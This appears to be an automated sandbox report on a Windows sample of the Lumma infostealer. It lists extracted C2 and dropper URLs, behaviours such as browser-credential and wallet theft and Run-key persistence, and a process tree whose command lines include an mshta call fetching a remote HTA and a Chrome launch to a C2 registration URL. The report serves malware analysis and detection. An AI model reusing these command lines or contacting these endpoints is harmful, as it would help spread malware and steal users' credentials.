Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260513-en
  • resource tags

    arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    01/06/2026, 16:54

General

  • Target
    tmpwma73ein.exe
  • Size 2.7MB
  • Sample260601-ves86scv4r
  • SHA256 24614d868fb7777708a033040e69ad14e7bcbd2298786c502a86203c6d1b560c
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    https://snconor.vg

Extracted

Family
  • lumma

C2
  • https://fourdigs.cyou

  • https://decrnoj.club/xxx

  • https://pomflgf.vu/help

  • https://carytui.vu/caccc

  • https://mushxhb.best/info

  • https://genugsq.best/main

  • https://ulmudhw.shop/create

  • https://strikql.shop/owner

  • https://longmbx.click/manifest

Attributes
  • build_id

    3d637a36e4a2ea4051f59aa807c27a4531c4754d2a

Signatures

  • Family: Lumma Stealer, LummaC

    Lumma or LummaC is an infostealer written in C++ first seen in August 2022.

  • Badlisted process makes network request 2 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Drops startup file 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Drops file in Windows directory 1 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Time Discovery 1 TTPs 1 IoCs

    Adversary may gather the system time and/or time zone settings from a local or remote system.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies data under HKEY_USERS 2 IoCs
  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 42 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 14 IoCs
  • Suspicious use of FindShellTrayWindow 37 IoCs
  • Suspicious use of SendNotifyMessage 3 IoCs
  • Suspicious use of WriteProcessMemory 18 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\tmpwma73ein.exe
    "C:\Users\Admin\AppData\Local\Temp\tmpwma73ein.exe"
    1⤵
    • Adds Run key to start application
    • Suspicious use of WriteProcessMemory
    PID:2264
    • C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Normal.exe
      C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Normal.exe Reset
      2⤵
      • Drops startup file
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      • Suspicious use of WriteProcessMemory
      PID:4460
      • C:\Program Files\Google\Chrome\Application\chrome.exe
        "C:\Program Files\Google\Chrome\Application\chrome.exe" fourdigs.cyou/api/set_agent?id=A67B211DBD24956701AEC7B30ADF174C&token=3d637a36e4a2ea4051f59aa807c27a4531c4754d2a&description=&agent=Chrome
        3⤵
        • Drops file in Windows directory
        • Enumerates system info in registry
        • Modifies data under HKEY_USERS
        • Modifies registry class
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of WriteProcessMemory
        PID:4312
        • C:\Program Files\Google\Chrome\Application\chrome.exe
          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ff8eddac728,0x7ff8eddac734,0x7ff8eddac740
          4⤵
            PID:4576
          • C:\Program Files\Google\Chrome\Application\chrome.exe
            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1460,i,17011276962816284538,6412291027911623562,524288 --field-trial-handle=2000,i,16894385858949934270,5143389641122578784,262144 --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=2108 /prefetch:11
            4⤵
            • System Time Discovery
            PID:1140
          • C:\Program Files\Google\Chrome\Application\chrome.exe
            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1592,i,6027215315673256809,15343157442228403225,262144 --field-trial-handle=2000,i,16894385858949934270,5143389641122578784,262144 --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=1996 /prefetch:2
            4⤵
              PID:4596
            • C:\Program Files\Google\Chrome\Application\chrome.exe
              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2324,i,4970407198858584260,15015875250115153755,524288 --field-trial-handle=2000,i,16894385858949934270,5143389641122578784,262144 --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=2484 /prefetch:13
              4⤵
                PID:4344
              • C:\Program Files\Google\Chrome\Application\chrome.exe
                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3132,i,16384328696601343664,10063804905517726340,2097152 --field-trial-handle=2000,i,16894385858949934270,5143389641122578784,262144 --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=3244 /prefetch:1
                4⤵
                  PID:3552
                • C:\Program Files\Google\Chrome\Application\chrome.exe
                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3140,i,14909660815601760155,499832039601937728,2097152 --field-trial-handle=2000,i,16894385858949934270,5143389641122578784,262144 --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=3308 /prefetch:1
                  4⤵
                    PID:3496
                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4236,i,9401046957031812145,18042380039029140996,2097152 --field-trial-handle=2000,i,16894385858949934270,5143389641122578784,262144 --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=4240 /prefetch:9
                    4⤵
                      PID:3728
                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --force-high-res-timeticks=disabled --metrics-shmem-handle=4492,i,3684900302390737490,17171133173854321426,524288 --field-trial-handle=2000,i,16894385858949934270,5143389641122578784,262144 --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=4668 /prefetch:12
                      4⤵
                        PID:5044
                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5452,i,17639906360190932847,12184928981928899017,524288 --field-trial-handle=2000,i,16894385858949934270,5143389641122578784,262144 --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=5132 /prefetch:14
                        4⤵
                          PID:4016
                      • C:\Windows\SYSTEM32\mshta.exe
                        mshta.exe https://snconor.vg
                        3⤵
                        • Badlisted process makes network request
                        PID:808
                  • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
                    "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
                    1⤵
                      PID:332
                    • C:\Windows\system32\svchost.exe
                      C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
                      1⤵
                        PID:2080

                      Network

                            MITRE ATT&CK Enterprise v16

                            Replay Monitor

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                            Downloads

                            BookmarkMergedSurfaceOrdering

                            • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BookmarkMergedSurfaceOrdering
                            • Size 6B
                            • SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
                            • MD5 SHA1 SHA512

                            BrowsingTopicsState

                            • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BrowsingTopicsState
                            • Size 649B
                            • SHA256 e4c42fea7d618ab97556f6cd941897c777a01e0f6bc36396512a67598c6d3863
                            • MD5 SHA1 SHA512 TLSH

                            Cookies

                            • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
                            • Size 20KB
                            • SHA256 6dd4c53495e28b7e7b09f730dc872f7b8bad284ea1f6b97f55183375e381c05b
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            SCT Auditing Pending Reports

                            • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
                            • Size 2B
                            • SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
                            • MD5 SHA1 SHA512

                            Web Data

                            • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Data
                            • Size 138KB
                            • SHA256 4308dd3316588fa3b8fff4593b9ee78ed51bacdfa62f4a0dde9f3a39799070bb
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            Last Version

                            • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Last Version
                            • Size 13B
                            • SHA256 e5efa9eb104cd0b25149c2e789bec8d9aa4ba95678831b657eef7780a281c391
                            • MD5 SHA1 SHA512

                            Local State

                            • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
                            • Size 115KB
                            • SHA256 1b0e1a2eefc9a8d2381709ee63698fa087f17d08960c2643d85a418f957a7c03
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            Normal.exe

                            • Path C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Normal.exe
                            • Size 957KB
                            • SHA256 bdd2b7236a110b04c288380ad56e8d7909411da93eed2921301206de0cb0dda1
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            Reset

                            • Path C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Reset
                            • Size 798KB
                            • SHA256 f3b071b2c8a35364078ff01ff7e25f04c619ceb004fec715e16e282ee8aa68bc
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            memory/4460-81-0x0000000003E00000-0x0000000003E01000-memory.dmp

                            memory/4460-77-0x0000000003E00000-0x0000000003E01000-memory.dmp

                            memory/4460-66-0x0000000003E00000-0x0000000003E01000-memory.dmp

                            memory/4460-64-0x0000000003E00000-0x0000000003E01000-memory.dmp

                            memory/4460-63-0x0000000003E00000-0x0000000003E01000-memory.dmp

                            memory/4460-62-0x0000000003E00000-0x0000000003E01000-memory.dmp

                            memory/4460-61-0x0000000003E00000-0x0000000003E01000-memory.dmp

                            memory/4460-60-0x0000000003E00000-0x0000000003E01000-memory.dmp

                            memory/4460-59-0x0000000003E00000-0x0000000003E01000-memory.dmp

                            memory/4460-58-0x0000000003E00000-0x0000000003E01000-memory.dmp

                            memory/4460-57-0x0000000003E00000-0x0000000003E01000-memory.dmp

                            memory/4460-68-0x0000000003E00000-0x0000000003E01000-memory.dmp

                            memory/4460-70-0x0000000003E00000-0x0000000003E01000-memory.dmp

                            memory/4460-72-0x0000000003E00000-0x0000000003E01000-memory.dmp

                            memory/4460-76-0x0000000003E00000-0x0000000003E01000-memory.dmp

                            memory/4460-88-0x0000000003E00000-0x0000000003E01000-memory.dmp

                            memory/4460-91-0x0000000003E00000-0x0000000003E01000-memory.dmp

                            memory/4460-90-0x0000000003E00000-0x0000000003E01000-memory.dmp

                            memory/4460-89-0x0000000003E00000-0x0000000003E01000-memory.dmp

                            memory/4460-87-0x0000000003E00000-0x0000000003E01000-memory.dmp

                            memory/4460-85-0x0000000003E00000-0x0000000003E01000-memory.dmp

                            memory/4460-84-0x0000000003E00000-0x0000000003E01000-memory.dmp

                            memory/4460-83-0x0000000003E00000-0x0000000003E01000-memory.dmp

                            memory/4460-82-0x0000000003E00000-0x0000000003E01000-memory.dmp

                            memory/4460-16-0x0000000000130000-0x000000000018F000-memory.dmp

                            memory/4460-80-0x0000000003E00000-0x0000000003E01000-memory.dmp

                            memory/4460-79-0x0000000003E00000-0x0000000003E01000-memory.dmp

                            memory/4460-86-0x0000000003E00000-0x0000000003E01000-memory.dmp

                            memory/4460-78-0x0000000003E00000-0x0000000003E01000-memory.dmp

                            memory/4460-65-0x0000000003E00000-0x0000000003E01000-memory.dmp

                            memory/4460-75-0x0000000003E00000-0x0000000003E01000-memory.dmp

                            memory/4460-74-0x0000000003E00000-0x0000000003E01000-memory.dmp

                            memory/4460-71-0x0000000003E00000-0x0000000003E01000-memory.dmp

                            memory/4460-69-0x0000000003E00000-0x0000000003E01000-memory.dmp

                            memory/4460-73-0x0000000003E00000-0x0000000003E01000-memory.dmp

                            memory/4460-15-0x00000000013F0000-0x00000000013F1000-memory.dmp

                            memory/4460-8-0x0000000077644000-0x0000000077645000-memory.dmp

                            memory/4460-7-0x0000000077642000-0x0000000077643000-memory.dmp

                            memory/4460-67-0x0000000003E00000-0x0000000003E01000-memory.dmp

                            memory/4460-111-0x0000000003E00000-0x0000000003E01000-memory.dmp

                            memory/4460-112-0x0000000003E00000-0x0000000003E01000-memory.dmp

                            memory/4460-113-0x0000000003E00000-0x0000000003E01000-memory.dmp

                            memory/4460-114-0x0000000003E00000-0x0000000003E01000-memory.dmp

                            memory/4460-115-0x0000000003E00000-0x0000000003E01000-memory.dmp

                            memory/4460-117-0x0000000003E00000-0x0000000003E01000-memory.dmp

                            memory/4460-119-0x0000000003E00000-0x0000000003E01000-memory.dmp

                            memory/4460-118-0x0000000003E00000-0x0000000003E01000-memory.dmp

                            memory/4460-116-0x0000000003E00000-0x0000000003E01000-memory.dmp

                            memory/4460-125-0x0000000003E00000-0x0000000003E01000-memory.dmp

                            memory/4460-130-0x0000000003E00000-0x0000000003E01000-memory.dmp

                            memory/4460-129-0x0000000003E00000-0x0000000003E01000-memory.dmp

                            memory/4460-128-0x0000000003E00000-0x0000000003E01000-memory.dmp

                            memory/4460-127-0x0000000003E00000-0x0000000003E01000-memory.dmp

                            memory/4460-126-0x0000000003E00000-0x0000000003E01000-memory.dmp

                            memory/4460-124-0x0000000003E00000-0x0000000003E01000-memory.dmp

                            memory/4460-123-0x0000000003E00000-0x0000000003E01000-memory.dmp

                            memory/4460-122-0x0000000003E00000-0x0000000003E01000-memory.dmp

                            memory/4460-120-0x0000000003E00000-0x0000000003E01000-memory.dmp

                            memory/4460-121-0x0000000003E00000-0x0000000003E01000-memory.dmp